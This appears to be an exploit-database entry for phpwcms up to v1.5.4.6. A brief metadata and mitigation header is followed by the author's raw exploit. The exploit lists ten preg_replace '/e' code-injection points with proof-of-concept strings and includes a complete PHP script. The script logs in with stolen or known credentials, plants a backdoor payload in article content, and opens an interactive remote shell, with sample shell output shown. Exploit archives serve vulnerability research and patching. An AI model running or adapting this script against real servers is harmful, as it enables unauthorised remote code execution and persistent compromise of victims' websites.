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Suggest Exploit
vendor:
phpwcms
by:
aeon
9,8
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: phpwcms
Affected Version From: v1.5.4.6
Affected Version To: v1.5.4.6
Patch Exists: YES
Related CWE: N/A
CPE: a:phpwcms:phpwcms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit

Multiple remote code execution bugs exist in phpwcms for quite some time now. In order to exploit the vulnerabilities, an attacker will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user". Examples of the exploit include lines 699-700, 704, 708, 792 and 807 of ./include/inc_front/content.func.inc.php.

Mitigation:

Ensure that all users have the least privilege necessary to perform their job functions. Ensure that all users are authenticated and authorized before they can access any sensitive information or perform any privileged operations.
Source

Exploit-DB raw data:

<?php
/*
phpwcms <= v1.5.4.6 "preg_replace" remote code execution exploit
vendor: http://www.phpwcms.de/
Download: github.com/slackero/phpwcms
by: aeon

Well it appears there are multiple remote code execution bugs that exists in phpwcms for quite some time now. Here I will exploit one of them, but many are available to an attacker. I have only listed 10 as I got bored after that point...

In order to exploit the vulnerabilities, you will need to have access to an authenticated account as either a "backend user", "admin user" or "frontend / backend user". The only account that cannot exploit these vulnerabilities is the "frontend user".

Other vulnerabilities most probably exist in this application but I don't bother auditing for xss/csrf/click jacking etc. I only care about true
remotely exploitable bugs 8-)

Examples:

1. Lines 699-700 of ./include/inc_front/content.func.inc.php:
-------------------------------------------------------------

// list based navigation starting at given level
$replace = 'nav_list_struct($content["struct"],$content["cat_id"],"$1", "$2");';
$content["all"] = preg_replace('/\{NAV_LIST:(\d+):{0,1}(.*){0,1}\}/e', $replace, $content["all"]);

PoC:
{NAV_LIST:1:{${phpinfo()}}}

2. Line 704 of ,.include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_TOP:(.*?):(.*?)\}/e', 'css_level_list($content["struct"], $content["cat_path"], 0, "$1", 1, "$2")', $content["all"]);

PoC:
{NAV_LIST_TOP:{${phpinfo}}:1}

3. line 708 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{NAV_LIST_CURRENT:(\d+):(.*?):(.*?)\}/e', 'css_level_list($content["struct"],$content["cat_path"],$content["cat_id"],"$2","$1","$3")', $content["all"]);

PoC:
{NAV_LIST_CURRENT:1:{${phpinfo()}}:1}

4. Line 792 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:NEXT:(.*?):(0|1)\}/e','get_index_link_next("$1",$2);',$content["all"]);

PoC:
{BROWSE:NEXT:{${phpinfo()}}:1}

5. Line 793 of ./include/inc_front/content.func.inc.php:
--------------------------------------------------------

$content["all"] = preg_replace('/\{BROWSE:PREV:(.*?):(0|1)\}/e','get_index_link_prev("$1",$2);',$content["all"]);

PoC:
{BROWSE:PREV:{${phpinfo()}}:1}

6. Line 2661 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{LIVEDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$livedate.'")', $text);

PoC:
{LIVEDATE:{${phpinfo()}} lang=ru}

7. Line 2658 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{DATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

8. Line 2665 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

$text = preg_replace('/\{KILLDATE:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$killdate.'")', $text);

PoC:
{KILLDATE:{${phpinfo()}} lang=ru}

9. Line 2668 of ./include/inc_front/front.func.inc.php:
-------------------------------------------------------

return preg_replace('/\{NOW:(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.now().'")', $text);

PoC:
{NOW:{${phpinfo()}} lang=ru}

10. Line 2674 of ./include/inc_front/front.func.inc.php:
--------------------------------------------------------

$text = preg_replace('/\{'.$rt.':(.*?) lang=(..)\}/e', 'international_date_format("$2","$1","'.$date.'")', $text);

PoC:
{DATE:{${phpinfo()}} lang=ru}

################################################################################################
[aeon@brainbox 0day]$ php ./phpwcmsrce.php 192.168.1.120 /phpwcms-1.5.4.6/ jack password

+-----------------------------------------------------------+
| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |
+-----------------------------------------------------------+
(+) initiating target interaction
(+) grabbed a valid session
(+) logged into the target application
(+) exploit working! dropping to shell..

phpwcms-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

phpwcms-shell> uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
################################################################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n(-) No response from {$host}:80\r\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print "\n+-----------------------------------------------------------+";
print "\n| phpwcms <= v1.5.4.6 Remote Code Execution Exploit by aeon |";
print "\n+-----------------------------------------------------------+\n";
 
if ($argc < 5)
{
    print "\nUsage......: php $argv[0] <host> <path> <user> <pass>\n";
    print "\nExample....: php $argv[0] localhost / admin pass";
    print "\nExample....: php $argv[0] localhost /phpwcms-1.5.4.6/ jack black\n";
    die();
}
 
list($host, $path, $user, $pass) = array($argv[1], $argv[2], $argv[3], $argv[4]);
 
// init session
print "(+) initiating target interaction\r\n";
$packet  = "GET {$path}login.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Set-Cookie: (.+); path=/', http_send($host, $packet), $m) ?  $m[1] : '';
print ($_prefix ? "(+) grabbed a valid session" : "(-) exploit failed! couldnt obtain a session")."\r\n";

$pass      = md5($pass);
$postcreds = "json=1&md5pass={$pass}&form_aktion=login&form_loginname={$user}&form_lang=ru&submit_form=Login";

// login
$packet  = "POST {$path}login.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: ".strlen($postcreds)."\r\n";
$packet .= "Connection: close\r\n\r\n{$postcreds}";

if (!preg_match('/HTTP\/1.[01] 302 Found/', http_send($host, $packet))) die("\n(-) login failed!\n");
print "(+) logged into the target application\r\n";

$phpkode  = '{${error_reporting(0)}}{${print(aeon)}}{${passthru(base64_decode($_SERVER[HTTP_PHPWCMS]))}}{${die}}';
$pat      = "{DATE:{$phpkode} lang=en}";
$payload  = "article_cid=0&article_title=wtf&set_begin=1&article_begin=2012-12-16+00%3A00%3A00&article_summary=";
$payload .= urlencode($pat)."&article_username=jack&article_aktiv=1&article_public=1&article_update=1&updatesubmit=Create";

// backdooring db content
$packet  = "POST {$path}phpwcms.php?do=articles&p=2&s=1&aktion=1&id=0 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Cookie: {$_prefix}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

$_aid = preg_match('/&id=([0-9]{0,30})/', http_send($host, $packet), $m) ? $m[1] : '';
print ($_aid ? "(+) exploit working! dropping to shell.." : "(-) exploit failed! couldnt find article id")."\r\n";

// triggering preg_replace code evaluation
$packet  = "GET {$path}index.php?aid={$_aid} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Phpwcms: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/aeon', http_send($host, $packet))) die("\n(-) opps! hmm, backdoor didnt quite work..\r\n");

while(1)
{
    print "\nphpwcms-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/aeon(.*)/s', $response, $m) ? print $m[1] : die("\n(-) exploit failed!\n");
}

// @aeon_flux_ | aeon.s.flux(at)gmail(.)com | https://infosecabsurdity.wordpress.com/
?>